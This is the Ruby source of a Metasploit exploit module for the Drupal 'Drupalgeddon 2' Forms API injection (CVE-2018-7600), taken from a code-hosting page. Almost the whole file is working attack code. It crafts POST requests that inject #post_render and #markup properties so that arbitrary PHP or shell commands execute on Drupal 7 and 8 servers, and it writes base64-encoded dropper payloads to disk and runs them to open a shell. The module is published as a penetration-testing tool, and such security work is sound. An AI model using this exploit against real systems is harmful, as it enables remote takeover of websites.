398 lines
11 KiB
Ruby
398 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HTTP::Drupal
|
|
# XXX: CmdStager can't handle badchars
|
|
include Msf::Exploit::PhpEXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
|
|
'Description' => %q{
|
|
This module exploits a Drupal property injection in the Forms API.
|
|
|
|
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
|
},
|
|
'Author' => [
|
|
'Jasper Mattsson', # Vulnerability discovery
|
|
'a2u', # Proof of concept (Drupal 8.x)
|
|
'Nixawk', # Proof of concept (Drupal 8.x)
|
|
'FireFart', # Proof of concept (Drupal 7.x)
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2018-7600'],
|
|
['URL', 'https://www.drupal.org/sa-core-2018-002'],
|
|
['URL', 'https://greysec.net/showthread.php?tid=2912'],
|
|
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
|
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
|
['URL', 'https://github.com/nixawk/labs/issues/19'],
|
|
['URL', 'https://github.com/FireFart/CVE-2018-7600']
|
|
],
|
|
'DisclosureDate' => '2018-03-28',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['php', 'unix', 'linux'],
|
|
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Payload' => {'BadChars' => '&>\''},
|
|
'Targets' => [
|
|
#
|
|
# Automatic targets (PHP, cmd/unix, native)
|
|
#
|
|
['Automatic (PHP In-Memory)',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Type' => :php_memory
|
|
],
|
|
['Automatic (PHP Dropper)',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Type' => :php_dropper
|
|
],
|
|
['Automatic (Unix In-Memory)',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_memory
|
|
],
|
|
['Automatic (Linux Dropper)',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper
|
|
],
|
|
#
|
|
# Drupal 7.x targets (PHP, cmd/unix, native)
|
|
#
|
|
['Drupal 7.x (PHP In-Memory)',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Version' => Rex::Version.new('7'),
|
|
'Type' => :php_memory
|
|
],
|
|
['Drupal 7.x (PHP Dropper)',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Version' => Rex::Version.new('7'),
|
|
'Type' => :php_dropper
|
|
],
|
|
['Drupal 7.x (Unix In-Memory)',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Version' => Rex::Version.new('7'),
|
|
'Type' => :unix_memory
|
|
],
|
|
['Drupal 7.x (Linux Dropper)',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Version' => Rex::Version.new('7'),
|
|
'Type' => :linux_dropper
|
|
],
|
|
#
|
|
# Drupal 8.x targets (PHP, cmd/unix, native)
|
|
#
|
|
['Drupal 8.x (PHP In-Memory)',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Version' => Rex::Version.new('8'),
|
|
'Type' => :php_memory
|
|
],
|
|
['Drupal 8.x (PHP Dropper)',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Version' => Rex::Version.new('8'),
|
|
'Type' => :php_dropper
|
|
],
|
|
['Drupal 8.x (Unix In-Memory)',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Version' => Rex::Version.new('8'),
|
|
'Type' => :unix_memory
|
|
],
|
|
['Drupal 8.x (Linux Dropper)',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Version' => Rex::Version.new('8'),
|
|
'Type' => :linux_dropper
|
|
]
|
|
],
|
|
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
|
|
'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [],
|
|
'Reliability' => [],
|
|
'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
|
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
checkcode = CheckCode::Unknown
|
|
|
|
@version = target['Version'] || drupal_version
|
|
|
|
unless @version
|
|
vprint_error('Could not determine Drupal version to target')
|
|
return checkcode
|
|
end
|
|
|
|
vprint_status("Drupal #{@version} targeted at #{full_uri}")
|
|
checkcode = CheckCode::Detected
|
|
|
|
changelog = drupal_changelog(@version)
|
|
|
|
unless changelog
|
|
vprint_error('Could not determine Drupal patch level')
|
|
return checkcode
|
|
end
|
|
|
|
case drupal_patch(changelog, 'SA-CORE-2018-002')
|
|
when nil
|
|
vprint_warning('CHANGELOG.txt no longer contains patch level')
|
|
when true
|
|
vprint_warning('Drupal appears patched in CHANGELOG.txt')
|
|
checkcode = CheckCode::Safe
|
|
when false
|
|
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
|
|
checkcode = CheckCode::Appears
|
|
end
|
|
|
|
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
|
|
token = rand_str
|
|
res = execute_command(token, func: 'printf')
|
|
|
|
return checkcode unless res
|
|
|
|
if res.body.start_with?(token)
|
|
vprint_good('Drupal is vulnerable to code execution')
|
|
checkcode = CheckCode::Vulnerable
|
|
end
|
|
|
|
checkcode
|
|
end
|
|
|
|
def exploit
|
|
unless @version
|
|
print_warning('Targeting Drupal 7.x as a fallback')
|
|
@version = Rex::Version.new('7')
|
|
end
|
|
|
|
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
|
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
|
# XXX: Naughty datastore modification
|
|
datastore['DUMP_OUTPUT'] = true
|
|
end
|
|
|
|
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
|
|
case target['Type']
|
|
when :php_memory
|
|
execute_command(payload.encoded, func: 'assert')
|
|
|
|
sleep(wfs_delay)
|
|
return if session_created?
|
|
|
|
# XXX: This will spawn a *very* obvious process
|
|
execute_command("php -r '#{payload.encoded}'")
|
|
when :unix_memory
|
|
execute_command(payload.encoded)
|
|
when :php_dropper, :linux_dropper
|
|
dropper_assert
|
|
|
|
sleep(wfs_delay)
|
|
return if session_created?
|
|
|
|
dropper_exec
|
|
end
|
|
end
|
|
|
|
def dropper_assert
|
|
php_file = Pathname.new(
|
|
"#{datastore['WritableDir']}/#{rand_str}.php"
|
|
).cleanpath
|
|
|
|
# Return the PHP payload or a PHP binary dropper
|
|
dropper = get_write_exec_payload(
|
|
writable_path: datastore['WritableDir'],
|
|
unlink_self: true # Worth a shot
|
|
)
|
|
|
|
# Encode away potential badchars with Base64
|
|
dropper = Rex::Text.encode_base64(dropper)
|
|
|
|
# Stage 1 decodes the PHP and writes it to disk
|
|
stage1 = %Q{
|
|
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
|
|
}
|
|
|
|
# Stage 2 executes said PHP in-process
|
|
stage2 = %Q{
|
|
include_once("#{php_file}");
|
|
}
|
|
|
|
# :unlink_self may not work, so let's make sure
|
|
register_file_for_cleanup(php_file)
|
|
|
|
# Hopefully pop our shell with assert()
|
|
execute_command(stage1.strip, func: 'assert')
|
|
execute_command(stage2.strip, func: 'assert')
|
|
end
|
|
|
|
def dropper_exec
|
|
php_file = "#{rand_str}.php"
|
|
tmp_file = Pathname.new(
|
|
"#{datastore['WritableDir']}/#{php_file}"
|
|
).cleanpath
|
|
|
|
# Return the PHP payload or a PHP binary dropper
|
|
dropper = get_write_exec_payload(
|
|
writable_path: datastore['WritableDir'],
|
|
unlink_self: true # Worth a shot
|
|
)
|
|
|
|
# Encode away potential badchars with Base64
|
|
dropper = Rex::Text.encode_base64(dropper)
|
|
|
|
# :unlink_self may not work, so let's make sure
|
|
register_file_for_cleanup(php_file)
|
|
|
|
# Write the payload or dropper to disk (!)
|
|
# NOTE: Analysis indicates > is a badchar for 8.x
|
|
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
|
|
|
|
# Attempt in-process execution of our PHP script
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, php_file)
|
|
)
|
|
|
|
sleep(wfs_delay)
|
|
return if session_created?
|
|
|
|
# Try to get a shell with PHP CLI
|
|
execute_command("php #{php_file}")
|
|
|
|
sleep(wfs_delay)
|
|
return if session_created?
|
|
|
|
register_file_for_cleanup(tmp_file)
|
|
|
|
# Fall back on our temp file
|
|
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
|
|
execute_command("php #{tmp_file}")
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
|
|
|
|
vprint_status("Executing with #{func}(): #{cmd}")
|
|
|
|
res =
|
|
case @version.to_s
|
|
when /^7\b/
|
|
exploit_drupal7(func, cmd)
|
|
when /^8\b/
|
|
exploit_drupal8(func, cmd)
|
|
end
|
|
|
|
return unless res
|
|
|
|
if res.code == 200
|
|
print_line(res.body) if datastore['DUMP_OUTPUT']
|
|
else
|
|
print_error("Unexpected reply: #{res.inspect}")
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
def exploit_drupal7(func, code)
|
|
vars_get = {
|
|
'q' => 'user/password',
|
|
'name[#post_render][]' => func,
|
|
'name[#markup]' => code,
|
|
'name[#type]' => 'markup'
|
|
}
|
|
|
|
vars_post = {
|
|
'form_id' => 'user_pass',
|
|
'_triggering_element_name' => 'name'
|
|
}
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'vars_get' => vars_get,
|
|
'vars_post' => vars_post
|
|
)
|
|
|
|
return res unless res && res.code == 200
|
|
|
|
form_build_id = res.get_html_document.at(
|
|
'//input[@name = "form_build_id"]/@value'
|
|
)
|
|
|
|
return res unless form_build_id
|
|
|
|
vars_get = {
|
|
'q' => "file/ajax/name/#value/#{form_build_id.value}"
|
|
}
|
|
|
|
vars_post = {
|
|
'form_build_id' => form_build_id.value
|
|
}
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'vars_get' => vars_get,
|
|
'vars_post' => vars_post
|
|
)
|
|
end
|
|
|
|
def exploit_drupal8(func, code)
|
|
# Clean URLs are enabled by default and "can't" be disabled
|
|
uri = normalize_uri(target_uri.path, 'user/register')
|
|
|
|
vars_get = {
|
|
'element_parents' => 'account/mail/#value',
|
|
'ajax_form' => 1,
|
|
'_wrapper_format' => 'drupal_ajax'
|
|
}
|
|
|
|
vars_post = {
|
|
'form_id' => 'user_register_form',
|
|
'_drupal_ajax' => 1,
|
|
'mail[#type]' => 'markup',
|
|
'mail[#post_render][]' => func,
|
|
'mail[#markup]' => code
|
|
}
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'vars_get' => vars_get,
|
|
'vars_post' => vars_post
|
|
)
|
|
end
|
|
|
|
def rand_str
|
|
Rex::Text.rand_text_alphanumeric(8..42)
|
|
end
|
|
|
|
end
|